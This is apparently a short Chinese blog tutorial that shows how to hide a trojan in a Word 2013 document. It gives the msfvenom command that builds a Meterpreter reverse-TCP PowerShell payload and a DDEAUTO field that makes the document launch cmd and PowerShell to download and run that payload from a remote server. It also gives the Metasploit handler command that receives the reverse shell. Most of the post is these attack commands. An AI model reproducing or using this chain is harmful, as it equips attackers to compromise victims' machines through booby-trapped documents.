Loading

Powershell配合word伪装木马执行

环境:

win7 64位,word2013

生成木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPORT=1122 -f psh-reflection >x.ps1 

0

放到VPS上,这里我们放到本机搭建的apache环境中

0

win7中访问木马是否成功

0

打开word2013,设置域ctrl+F9

0

写入代码:

DDEAUTO C:\\windows\\system32\\cmd.exe "/k powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.37/x.ps1') "

命令通过powershell执行下载了VPS的x.ps1

监听payload

msf5 > handler -H 192.168.64.135 -P 1122 -p windows/x64/meterpreter/reverse_tcp

0

打开word文件,点击是

0

在后台弹出cmd

监听成功

0

posted @ 2021-03-17 17:24  Atomovo  阅读(329)  评论(0编辑  收藏  举报